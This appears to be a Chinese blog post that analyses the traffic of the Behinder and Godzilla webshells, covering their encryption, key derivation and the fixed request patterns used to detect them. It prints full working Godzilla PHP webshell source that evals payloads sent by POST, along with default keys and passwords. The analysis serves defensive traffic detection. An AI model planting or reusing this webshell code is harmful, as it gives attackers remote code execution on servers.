冰蝎(Behinder)
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出
AES加密:高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图
共有两次请求
第一次请求
第一次请求为判断是否可以建立连接,比冰蝎2少了俩次 get 获取冰蝎动态密钥的行为
对请求数据进行AES解密
再进行base64解密,获得解密后的冰蝎请求中的PHP代码
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="bmZOS1NVNVEzdWE5TWp3VFZ5T.............................";$content=base64_decode($content);
main($content);
content
这个变量名称和里面的内容为随机生成的,目的是为了绕过Content-Length
将第一次响应头中的数据进行 aes -> base64 解密之后
{"status":"success","msg":"anozNGkxcTZ5Mmd2dFUybEMxREpwR3........."}
message 是一段超极长的字符串,分析冰蝎请求中的 PHP 代码,发现他就是 content 经过 base64 -> aes 加密后生成的,作用和请求中的 content 一致都是绕过 $Content-Length
{"status":"success","msg":
这个返回数据特征已经在冰蝎 2.0 中已经被加入了Waf的检测规则当中,所以在冰蝎 3.0 当中用超大数据填充的方式绕过
思考一个问题,冰蝎 3.0 C/S 之间并没有传输密码,那么冰蝎是如何判断密码时候正确的?
其实这个问题,在分析流量时已经很明确了,首先冰蝎采用的是 AES 对称密钥加密,使用密钥 K 加密的数据必须使用密钥 K 解密,而冰蝎 3.0 webshell 中已经固定了这个密钥 K 即连接密码 MD5 值的前16位
以默认连接密码 rebeyond 为例,整个密码验证流程如下:
-
客户端(黑客)使用冰蝎连接输入密码 rebeyond ,冰蝎客户端对密码进行 MD5 加密,密钥为加密后值的前 16 位,连接数据使用其进行 AES 加密
-
这个密钥即 MD5 值前 16 位已经在服务端写死了并加入 session,服务端直接从 session 中去除 K 值进行 AES解密,完成整个通信流程
$key = $_SESSION['k']; echo encrypt(json_encode($result),$key); }
哥斯拉(Godzilla)
由于哥斯拉在处理 jsp 和 php 时加密方式存在差异,本文将从 php 版的 shell 展开,对其运行原理再做一下总结和阐述。首先,生成一个 php 静态 webshell,加密器选择 PHP_XOR_BASE64
HTTP请求头特征
User-Agent
哥斯拉客户端使用 JAVA 语言编写,在默认的情况下,如果不修改 User-Agent,User-Agent 会类似于 Java/11.0.7(具体什么版本取决于 JDK 环境版本)。但是哥斯拉支持自定义 HTTP 头部,这个默认特征是可以很容易去除的
Accept
Accept
头为 text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的 Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征
请求体特征
PHP_XOR_BASE64
以默认 shell 的密码和密钥为例,生成的文件如下:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){ //进行异或加解密的函数
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){ //对上传代码做执行并得到结果
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
原始代码->base64编码->异或加密
流量分析
首次连接时会有三个连续的请求
第一个数据包
POST /hackable/uploads/godzilla.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 127.0.0.1:8081
Content-type: application/x-www-form-urlencoded
Content-Length: 52541
Connection: close
pass=R0YEQgNVBE0GQ0YPU0YTUhoeTAtv............URVEaQgBDWTVrRG47
根据加密代码的分析,对pass进行解密后为各种功能的脚本
可以发现该数据包并没有回包,可以作为流量识别的其中一个重要特征
第二个数据包
根据代码分析对会包的字符串进行解密(分析过程比较复杂,敬请期待)得到OK
说明该请求一条测试请求,证明shell连接成功
第三个数据包
该请求的作用是获取目标的环境信息:
解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==
,即 methodName=getBasicsInfo
。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征
至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:
- 发送一段固定代码(payload),http 响应为空
- 发送一段固定代码(test),执行结果为固定内容
- 发送一段固定代码(getBacisInfo)
Comments NOTHING